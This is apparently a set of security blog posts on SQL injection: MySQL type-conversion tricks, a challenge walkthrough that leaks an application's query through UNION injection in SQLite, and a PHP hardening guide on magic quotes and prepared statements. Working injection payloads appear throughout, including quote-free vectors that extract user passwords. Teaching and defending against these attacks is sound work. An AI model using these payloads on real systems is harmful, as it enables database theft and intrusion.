Abusing MySQL string arithmetic for tiny SQL injections

Today I've found a small nifty trick that may become helpful when exploiting SQL injection vulnerabilities for MySQL. Namely, you can abuse MySQL string typecasting.

But first, let's look at this:

MySQL, what are you doing?

mysql> desc t;
+-------+-------------+------+-----+---------+-------+
| Field | Type        | Null | Key | Default | Extra |
+-------+-------------+------+-----+---------+-------+
| name  | varchar(20) | YES  |     | NULL    |       |
| num   | int(11)     | YES  |     | NULL    |       |
+-------+-------------+------+-----+---------+-------+
2 rows in set (0.11 sec)
mysql> select * from t;
+--------+------+
| name   | num  |
+--------+------+
| nazwa  |    3 |
| second |    4 |
+--------+------+
2 rows in set (0.00 sec)
mysql> select * from t where name='';
Empty set (0.00 sec)
mysql> select * from t where name=''-'';
+--------+------+
| name   | num  |
+--------+------+
| nazwa  |    3 |
| second |    4 |
+--------+------+
2 rows in set, 2 warnings (0.00 sec)

WTF just happened? Warnings clear up the situation a little bit:

mysql> show warnings;
+---------+------+--------------------------------------------+
| Level   | Code | Message                                    |
+---------+------+--------------------------------------------+
| Warning | 1292 | Truncated incorrect DOUBLE value: 'nazwa'  |
| Warning | 1292 | Truncated incorrect DOUBLE value: 'second' |
+---------+------+--------------------------------------------+
2 rows in set (0.00 sec)

Minus operator used on strings converted them to DOUBLE, a numeric value. What's the result of this statement?

mysql> select ''-'';
+-------+
| ''-'' |
+-------+
|     0 |
+-------+

So for each row the 'name' column was compared to 0. That triggerred another type conversion and, with a warning, for each row the effective value was 0, which satisfied the WHERE condition (0 = ''-'').

The SQL injection part

How can the attacker abuse this quirk? Imagine that you:

• have a limited character set (e.g. no whitespace, no equals sign, no parenthesis, no letters) or small length available,
• vulnerable query SELECT secret FROM table WHERE secret='$injection' AND another>5 AND ... .that needs to return at least one row,
• and you don't know the values for the secret column (they're not easily enumerable),

Simple payload: '-''# will turn that query into:

SELECT secret FROM table WHERE fld=''-''# AND .....

and will return all rows (apart from those that match /^-?[0-9]/)

You can use the same trick with ''+'', ''&'',''^'' and ''*''. Beware though:

mysql> select 1 from dual where 'something' = ''/'';
Empty set, 1 warning (0.00 sec)

mysql> select 1 from dual where 'something' = ''/1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set, 1 warning (0.00 sec)

Another trick would be to simply compare a string column to ''-0:

mysql> select * from t where name=''-0;
+--------+------+
| name   | num  |
+--------+------+
| nazwa  |    3 |
| second |    4 |
+--------+------+
2 rows in set, 2 warnings (0.00 sec)

The tricks mentioned here were tested on MySQL 5.5 and 5.1, but should work in older versions too.

And that's all folks. For all your SQL injection techniques, I highly recommend The SQL injection reference by Roberto Salgado. It helped me numerous times and is in my opinion the best reference on SQLi ever made.

How to get SQL query contents from SQL injection flaw

The technique is listed as a contestant in Top 10 Web Hacking Techniques of 2011 poll.

Yesterday, I got some time to interact with another bootcamp challenge by Paweł Goleń - this time it was an advanced search form and one's task was to find any vulnerabilities. What started as a usual SQL injection / XSS discovery turned out to be a pretty interesting example of what is possible with a SQLi flaw. During the session I was able to (in order):

1. find a SQLi flaw in a parameter
2. discover the SQL server/version used
3. get the database schema not using blind sql injection
4. retrieve db contents
5. retrieve important WHERE part of the actual SQL query used by the application
6. reverse engineer all the rules used by app to construct a query

So, from this:

value[] - vulnerable parameter

I was able to get the actual SQL query:

SELECT * FROM table_name WHERE ((param1 = value2) OR (param2 = value2)) ....

used by application and deduct the script logic producing the query:

$allowed_names = array('id','title','timestamp','public');
foreach ($_GET['names'] as $name) {
  if (!in_array($name, $allowed_names)) {
    $name = 'id';
  }
  switch ($name) {
  // ...
  }
}
...

It's a great example of how a single vulnerability was used to gain more and more information, leading to a application logic leakage. All of these tasks did not require any blind sql injection techniques, and no sqlmap-like brute force tools were used. Read on to find out all the details.

Crime scene

This is the form I was attacking:

It's an advanced search form with results being displayed in a table below like this:

Setting up the intercepting proxy (I used OWASP ZAP) will quickly show that these POST parameters are being sent:

action search
name[] id
operator[] =
value[] 1
oper AND
name[] title
operator[] >
value[] 2

What do we know?

So, the actual script uses $name, $operator and $value arrays for every criterium and $oper as an operator joining the criteria.

The SQL query might look like this:

SELECT * FROM table_name WHERE (criterium_1) $oper (criterium_2)

The meat

Skipping all the usual discovery steps, I was able to determine that:

• the value[] parameter was injectable but only when name[] was 'title'
• it was probably translated to title LIKE '%{$value}%'
• though only two are displayed in the form, it is possible to pass additional criteria and they will all be processed
• the app was using sqlite 3

To be able to capture some of the SQL query in the results I needed the SQL engine to treat the part of it as a string. For that I needed string opening & closing injections. So, I had to use three criteria:

• first leaving the string open
• 2nd that would actually get captured in the string
• 3rd to close the string

SELECT * FROM table_name 
 WHERE (title like '${first}') 
 OR (id = 111) 
 OR (title like '${third}')

-- first: '
-- third: '
-- resulting query: (blue is string)
SELECT * FROM table_name 
 WHERE (title like ''') OR (id = 11111) OR (title like ''')

Exploiting this would be possible, because of the escaping scheme used: ' within a string should be doubled (''), so I was able to neutralize the closing string apostrophe by escaping it with my payloads.

Now I'd make an union query with it like this:

-- first: ') UNION SELECT ''
-- third: ,null,null,null -- 
SELECT * FROM table_name WHERE (title like '') UNION SELECT ''') OR (id = 11111) OR (title like ',null,null,null -- ')

So while using special crafted first and third criteria, I could modify second criterium (as long as it didn't contain any strings) and get its query part in results.

Troubles ahead

Worked great - in theory, because the actual query used was like this:

title like '%{$first}%'

With those percents in place I couldn't escape the closing apostrophe, leaving the rest of the query in 'string mode'. But the SQlite engine has a nice feature: it allows you to use quotes (") to enclose strings! Better yet - in quotes you don't have to escape apostrophes (') :-)

Solution

The final solution used:

SELECT * FROM table_name WHERE (title like '%${first}%') OR (id = 111) OR (title like '%${third}%')
-- first: ') UNION SELECT "
-- third: ", null, null, null -- 
SELECT * FROM table_name WHERE (title like '%') UNION SELECT "%') OR (id = 11111) OR (title like '%", null, null, null -- %')

and the resulting row:

<tr><td><a href='javascript:void(%') AND (id = 11111) AND (title LIKE '%);'></a></td><td></td><td></td></tr>

From here it was easy - modify the second criteria and watch the resulting query to deduct app logic. And yes, it did have additional vulnerabilities :)

Save your data from SQL injection - materials

These are the slides from my talk given today at Krakspot Tech meeting:

Jak ocalić swoje dane przed SQL injection?

View more presentations from Krzysztof Kotowicz.

Incoming lectures on malware and on SQL injection

I will be giving two talks next month:

Save your data from SQL injection
8.06.2010 - Krakspot Tech meeting
This is a heavily modified version of my previous talk given at OWASP meeting, however this one is less code-oriented and the emphasis is given on understanding the vulnerability. Plus - it's newer, and newer is better ;)

Time: 8.06.2010, 18:00
Place: Swing, Kraków, Bożego Ciała 9
more info

Creating, obfuscating and analysis of JavaScript-based malware
10.06.2010 - OWASP Polish Chapter meeting
Malware attacks on unaware Internet users' browsers are becoming more and more common. New techniques for bypassing filters used by security vendors emerge in time. In turn, the filters are getting better, new analyzing tools are developed - the war continues. At the presentation you will learn how crackers are trying to hamper the work of security engineers, and how reversers are overcoming those problems. Emphasis will be placed on the weaknesses of automated tools - we'll try to avoid detection by jsunpack and Capture-HPC, we'll also trick Dean Edwards' Unpacker.
This talk, on the other hand is code oriented as we'll be using some JavaScript trickery, however everything will be explained so you don't need to be a JavaScript ninja to understand it.

Time: 10.06.2010, 18:00
Place: Wydział Fizyki i Informatyki Stosowanej AGH ul. Reymonta 19, budynek D-10 Sala: A (aula)
more info: [1] [2]

All materials will be published after the meetings, I believe there might also be some a/v streams recorded by the hosts, but I'm not sure. Of course - everyone's invited, I'll update the post with the exact place&time in a few days.

Hardening PHP: SQL injection - Complete walkthrough

Below are the slides from the presentation I recently gave on SQL injection on OWASP Poland Chapter meeting. The materials teach how to use prepared statements, how to escape and write secure stored procedures. Many PHP projects are covered - PDO, Propel, Doctrine, Zend Framework and MDB2. Multiple gotchas and caveats are included. I discuss why escaping is usually the wrong choice, which practices to avoid or follow and how stored procedures sometimes offer no protection at all.

I tried to make this as complete as possible, so a PHP developer could learn how to protect his applications no matter what framework / database he uses.

English version

SQL Injection: complete walkthrough (not only) for PHP developers

View more presentations from Krzysztof Kotowicz.

Polish version

Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)

You could also watch video recorded from the presentation. There are already some comments on the slides on niebezpiecznik.pl (Polish), but of course feel free to add comment here.

Hardening PHP: magic_quotes_gpc - False sense of security

Writing secure applications from the ground up requires a programmer to fully understand all the features he uses to protect his code from vulnerabilities. Today's languages provide many ways to ease coders with hardening their code. You can rely on built-in libraries to filter input variables, escape the output in HTML etc.

However, staying secure is not that simple - you need to know all the limits and caveats of your tools, because sometimes they promise you something but do not deliver - as it is in case of magic quotes functionality.

Magic quotes

PHP magic_quotes_gpc are sometimes recommended as a protection from SQL injection .When this ini setting is on, all GET/POST/COOKIE variables are automatically run through addslashes() function, basically escaping all quote characters with "\".

All is good

Let's look at an example, where that protection would work:

<?php
// some admin login functionality
$logged_in = mysql_query("SELECT 1 FROM users WHERE login='admin' AND password=sha1('" . $_POST['password'] . "')");
// process $logged_in

When magic_quotes_gpc are ON injecting the PASSWORD variable won't work. A simplest attack vector "' OR 1=1 -- " would transform to

SELECT 1 FROM users WHERE login='admin' AND password=sha1('\' OR 1=1 -- ')

That's a perfectly escaped SQL query, nothing can get injected. magic_quotes_gpc escape the dangerous single quote for us. So - goodbye SQL injection? WRONG!

Magic quotes only insert a backslash before a few characters, nothing more. That protects you from SQL injection only in some particular cases like above and only by coincidence. To prove that, let's analyze the following script.

So much for magic...

<?php
// display a single post based on id
$post_data = mysql_query("SELECT title, content FROM posts WHERE post_id={$_GET['id']}");
// display $post

The same "' OR 1=1 -- " transforms to invalid query:

SELECT title, content FROM posts WHERE post_id= \' OR 1 = 1 --

and if you have display_errors ON, you just made the attacker very happy with your database details outputted right before his eyes. Even if you don't, there still is a possiblity of blind sql injection.

But what if an attacker set id parameter to one of these:

• 1 AND (SELECT COUNT(*) from another table_name) BETWEEN 0 AND 100
• -10000 union select user_password from users where user_login=CHAR(97,100,109,105,110) (admin)
  

You won't get any protection from these vectors - they slip right under the eyes of  magic_quotes_gpc - they don't contain quotes.

In this case a single mysql query parameter that was left unprotected could lead to your whole database content dumped to the attacker (I'm not kidding - see sqlmap and try for yourself).

Know your context

The fundamental problem with magic_quotes_gpc is that they know nothing about the context. They don't know if you're using the data to insert it into MySQL, Oracle, or if you're writing to a file. Maybe you're sending it through SOAP or displaying it in HTML? Or maybe all of it. They just don't have enough information, only you know it. Escaping values depends on a context in which they are used. You should disable magic quotes now also for the following reasons:

• they mangle your data before you get the chance to reach it and can lead to double escaping,
• most frameworks expect them to be off, and if they're enabled, try to undo these changes at bootstrap,
• they're deprecated in PHP 5.3 and will be removed in PHP 6.
  

But you need to escape your data nonetheless. Follow these simple rules:

• to output to a HTML - use htmlspecialchars()
• to escape a string in MySQL - use mysql_real_escape_string(). 
• to escape a string in Postgresql - use pg_escape_string() 
• When you are expecting an integer in SQL query - simply cast to int
• ALWAYS use prepared statements when querying databases.

If you want to read more on bypassing magic quotes and SQL injection in general, I recommend:

• SQL injection: Not only AND 1=1 presentation
• Advanced SQL injection to operating system full control 
• Advanced PostgreSQL SQL Injection and Filter Bypass Techniques
  

Have any comments on the subject to share?  Please do so, this is my first security-related post and I'd like to hear your opinion.